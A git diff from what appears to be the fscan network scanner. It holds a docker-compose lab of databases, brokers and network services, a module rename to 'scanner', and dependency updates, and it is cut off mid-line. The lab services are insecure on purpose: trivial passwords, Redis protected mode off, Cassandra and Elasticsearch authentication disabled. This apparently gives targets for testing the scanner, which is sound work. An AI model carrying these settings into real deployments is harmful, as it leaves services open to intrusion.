healthcheck: - test: ["CMD-SHELL", "pg_isready -U postgres"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - mongodb: - image: mongo:latest - container_name: fscan-mongodb - environment: - MONGO_INITDB_ROOT_USERNAME: admin - MONGO_INITDB_ROOT_PASSWORD: 123456 - ports: - - "27017:27017" - volumes: - - mongodb_data:/data/db - healthcheck: - test: ["CMD", "mongosh", "--eval", "db.runCommand('ping').ok", "localhost:27017/test", "--quiet"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - redis: - image: redis:5.0.1 - container_name: fscan-redis - command: redis-server --bind 0.0.0.0 --protected-mode no --port 6379 - ports: - - "6379:6379" - volumes: - - redis_data:/data - - ./test_dirs:/test_dirs - restart: unless-stopped - - neo4j: - image: neo4j:4.4 - container_name: fscan-neo4j - environment: - NEO4J_AUTH: neo4j/123456 - NEO4J_dbms_security_procedures_unrestricted: apoc.* - NEO4J_dbms_security_auth_enabled: true - ports: - - "7474:7474" - - "7687:7687" - volumes: - - neo4j_data:/data - restart: unless-stopped - - memcached: - image: memcached:latest - container_name: fscan-memcached - command: ["memcached", "-m", "64", "-c", "1024", "-v"] - ports: - - "11211:11211" - restart: unless-stopped - - cassandra: - image: cassandra:3.11 - container_name: fscan-cassandra - environment: - CASSANDRA_AUTHENTICATOR: AllowAllAuthenticator - ports: - - "9042:9042" - - "9160:9160" - volumes: - - cassandra_data:/var/lib/cassandra - restart: unless-stopped - - mssql: - image: mcr.microsoft.com/mssql/server:2022-latest - container_name: fscan-mssql - environment: - ACCEPT_EULA: Y - MSSQL_SA_PASSWORD: P@ssword123 - MSSQL_PID: Express - ports: - - "1433:1433" - volumes: - - mssql_data:/var/opt/mssql - healthcheck: - test: ["CMD-SHELL", "/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q 'SELECT 1' || exit 1"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - # === Web服务 === - tomcat: - build: ./TestDocker/Tomcat/ - container_name: fscan-tomcat - ports: - - "8080:8080" - volumes: - - tomcat_webapps:/usr/local/tomcat/webapps - restart: unless-stopped - - # === 搜索引擎 === - elasticsearch: - image: docker.elastic.co/elasticsearch/elasticsearch:7.9.3 - container_name: fscan-elasticsearch - environment: - - discovery.type=single-node - - network.host=0.0.0.0 - - ELASTIC_PASSWORD=elastic123 - - xpack.security.enabled=false - ports: - - "9200:9200" - - "9300:9300" - volumes: - - elasticsearch_data:/usr/share/elasticsearch/data - restart: unless-stopped - - # === 消息队列 === - rabbitmq: - image: rabbitmq:3-management - container_name: fscan-rabbitmq - environment: - RABBITMQ_DEFAULT_USER: admin - RABBITMQ_DEFAULT_PASS: 123456 - ports: - - "5672:5672" - - "15672:15672" - volumes: - - rabbitmq_data:/var/lib/rabbitmq - restart: unless-stopped - - activemq: - build: ./TestDocker/ActiveMQ/ - container_name: fscan-activemq - ports: - - "61613:61613" - - "61614:61614" - restart: unless-stopped - - kafka: - image: bitnami/kafka:latest - container_name: fscan-kafka - environment: - - KAFKA_CFG_NODE_ID=1 - - KAFKA_CFG_PROCESS_ROLES=broker,controller - - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093 - - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER - - KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092 - - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092 - - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT - - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN - - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN - - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT - - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf - - ALLOW_PLAINTEXT_LISTENER=yes - ports: - - "9092:9092" - volumes: - - ./TestDocker/Kafka/kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf - - kafka_data:/bitnami/kafka - restart: unless-stopped - - # === 目录服务 === - ldap: - build: ./TestDocker/LDAP/ - container_name: fscan-ldap - environment: - LDAP_ORGANISATION: "Example Inc" - LDAP_DOMAIN: "example.com" - LDAP_BASE_DN: "dc=example,dc=com" - LDAP_ADMIN_PASSWORD: "Aa123456789" - LDAP_READONLY_USER: "true" - LDAP_READONLY_USER_USERNAME: "readonly" - LDAP_READONLY_USER_PASSWORD: "readonly" - ports: - - "389:389" - - "636:636" - volumes: - - ldap_data:/var/lib/ldap - restart: unless-stopped - - # === 网络服务 === - ftp: - image: bogem/ftp - container_name: fscan-ftp - environment: - - FTP_USER=admin - - FTP_PASS=123456 - - PASV_ADDRESS=127.0.0.1 - - PASV_MIN_PORT=30000 - - PASV_MAX_PORT=30100 - ports: - - "21:21" - - "20:20" - - "30000-30100:30000-30100" - restart: unless-stopped - - ssh: - build: ./TestDocker/SSH/ - container_name: fscan-ssh - ports: - - "2222:22" - restart: unless-stopped - - smtp: - build: ./TestDocker/SMTP/ - container_name: fscan-smtp - ports: - - "25:25" - restart: unless-stopped - - snmp: - build: ./TestDocker/SNMP/ - container_name: fscan-snmp - ports: - - "161:161/udp" - restart: unless-stopped - - rsync: - build: ./TestDocker/Rsync/ - container_name: fscan-rsync - ports: - - "873:873" - volumes: - - ./test_data:/data/public - restart: unless-stopped - - vnc: - build: ./TestDocker/VNC/ - container_name: fscan-vnc - ports: - - "5901:5901" - restart: unless-stopped - - telnet: - build: ./TestDocker/Telnet/ - container_name: fscan-telnet - ports: - - "23:23" - restart: unless-stopped - - # === 监控系统 === - zabbix-mysql: - image: mysql:8.0 - container_name: fscan-zabbix-mysql - command: --default-authentication-plugin=mysql_native_password - environment: - MYSQL_ROOT_PASSWORD: root123 - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - ports: - - "3307:3306" # 避免与主MySQL冲突 - volumes: - - zabbix_mysql_data:/var/lib/mysql - restart: unless-stopped - - zabbix-server: - image: zabbix/zabbix-server-mysql:ubuntu-6.0.23 - container_name: fscan-zabbix-server - environment: - DB_SERVER_HOST: zabbix-mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ports: - - "10051:10051" - depends_on: - - zabbix-mysql - restart: unless-stopped - - zabbix-web: - image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23 - container_name: fscan-zabbix-web - environment: - DB_SERVER_HOST: zabbix-mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ZBX_SERVER_HOST: zabbix-server - PHP_TZ: Asia/Shanghai - ports: - - "8081:8080" # 避免与Tomcat冲突 - - "8443:8443" - depends_on: - - zabbix-mysql - - zabbix-server - restart: unless-stopped - -# === 数据卷 === -volumes: - mysql_data: - postgresql_data: - mongodb_data: - redis_data: - neo4j_data: - cassandra_data: - tomcat_webapps: - elasticsearch_data: - rabbitmq_data: - kafka_data: - ldap_data: - zabbix_mysql_data: - mssql_data: - -# === 网络 === -networks: - default: - driver: bridge \ No newline at end of file diff --git a/go.mod b/go.mod index de2ad84e..e1b0e543 100644 --- a/go.mod +++ b/go.mod @@ -1,14 +1,15 @@ -module github.com/shadow1ng/fscan +module scanner go 1.25.0 +toolchain go1.25.12 + require ( github.com/fatih/color v1.18.0 github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-sql-driver/mysql v1.8.1 github.com/google/cel-go v0.13.0 github.com/google/uuid v1.6.0 - github.com/gorilla/websocket v1.5.3 github.com/hirochachacha/go-smb2 v1.1.0 github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 github.com/icodeface/tls v0.0.0-20230910023335-34df9250cd12 @@ -22,47 +23,33 @@ require ( github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tjfoc/gmsm v1.4.1 go.ciq.dev/go-rsync v0.0.0-20240304021629-0a3bb196e6d1 - golang.org/x/crypto v0.31.0 - golang.org/x/net v0.32.0 - golang.org/x/sys v0.42.0 - golang.org/x/term v0.27.0 - golang.org/x/text v0.21.0 + go.etcd.io/bbolt v1.4.1 + golang.org/x/crypto v0.52.0 + golang.org/x/net v0.55.0 + golang.org/x/sys v0.45.0 + golang.org/x/term v0.43.0 + golang.org/x/text v0.37.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c - google.golang.org/protobuf v1.28.1 + google.golang.org/protobuf v1.33.0 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 - modernc.org/sqlite v1.39.0 ) require ( - filippo.io/edwards25519 v1.1.0 // indirect + filippo.io/edwards25519 v1.1.1 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect - github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect - github.com/dustin/go-humanize v1.0.1 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect - github.com/hashicorp/go-uuid v1.0.3 // indirect - github.com/jcmturner/aescts/v2 v2.0.0 // indirect - github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect - github.com/jcmturner/gofork v1.7.6 // indirect - github.com/jcmturner/goidentity/v6 v6.0.1 // indirect - github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect - github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166 // indirect github.com/kr/pretty v0.3.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect - github.com/ncruces/go-strftime v1.0.0 // indirect github.com/pkg/errors v0.9.1 // indirect - github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rogpeppe/go-internal v1.12.0 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect golang.org/x/sync v0.20.0 // indirect gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect - modernc.org/libc v1.72.3 // indirect - modernc.org/mathutil v1.7.1 // indirect - modernc.org/memory v1.11.0 // indirect ) diff --git a/go.sum b/go.sum index bb58a8fc..01975b74 100644 --- a/go.sum +++ b/go.sum @@ -1,6 +1,6 @@ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= -filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= +filippo.io/edwards25519 v1.1.1 h1:YpjwWWlNmGIDyXOn8zLzqiD+9TyIlPhGFG96P39uBpw= +filippo.io/edwards25519 v1.1.1/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= @@ -17,8 +17,6 @@ github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ3 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= -github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= @@ -43,26 +41,18 @@ github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrU github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/google/cel-go v0.13.0 h1:z+8OBOcmh7IeKyqwT/6IlnMvy621fYUqnTVPEdegGlU= github.com/google/cel-go v0.13.0/go.mod h1:K2hpQgEjDp18J76a2DKFRlPBPpgRZgi6EbnpDgIhJ8s= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs= -github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= -github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= -github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= -github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= @@ -70,8 +60,6 @@ github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9 github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= -github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/hirochachacha/go-smb2 v1.1.0 h1:b6hs9qKIql9eVXAiN0M2wSFY5xnhbHAQoCwRKbaRTZI= github.com/hirochachacha/go-smb2 v1.1.0/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= @@ -115,8 +103,6 @@ github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWE github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed h1:FI2NIv6fpef6BQl2u3IZX/Cj20tfypRF4yd+uaHOMtI= github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed/go.mod h1:3rdaFaCv4AyBgu5ALFM0+tSuHrBh6v692nyQe3ikrq0= -github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w= -github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= github.com/nicksnyder/go-i18n/v2 v2.4.0 h1:3IcvPOAvnCKwNm0TB0dLDTuawWEj+ax/RERNC+diLMM= github.com/nicksnyder/go-i18n/v2 v2.4.0/go.mod h1:nxYSZE9M0bf3Y70gPQjN9ha7XNHX7gMc814+6wVyEI4= github.com/panjf2000/ants/v2 v2.11.3 h1:AfI0ngBoXJmYOpDh9m516vjqoUu2sLrIVgppI9TZVpg= @@ -126,8 +112,6 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= -github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= @@ -150,6 +134,8 @@ github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVc github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= go.ciq.dev/go-rsync v0.0.0-20240304021629-0a3bb196e6d1 h1:lYxtzhvoRGnoET/RcKJDnRnmaHuGKBCUIj3D1ZubBNg= go.ciq.dev/go-rsync v0.0.0-20240304021629-0a3bb196e6d1/go.mod h1:xOHMiPHUTm8AQpxu4n14T8bRuT/izQISy8ycm/Q3LLY= +go.etcd.io/bbolt v1.4.1 h1:5mOV+HWjIPLEAlUGMsveaUvK2+byZMFOzojoi7bh7uI= +go.etcd.io/bbolt v1.4.1/go.mod h1:c8zu2BnXWTu2XM4XcICtbGSl9cFwsXtcf9zLt2OncM8= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= @@ -160,8 +146,9 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= -golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= +golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988= +golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= @@ -171,8 +158,6 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= -golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8= -golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -189,8 +174,9 @@ golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= -golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI= golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs= +golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8= +golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -219,8 +205,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= -golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY= +golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -229,8 +215,9 @@ golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= -golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= +golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4= +golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= @@ -239,8 +226,9 @@ golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod 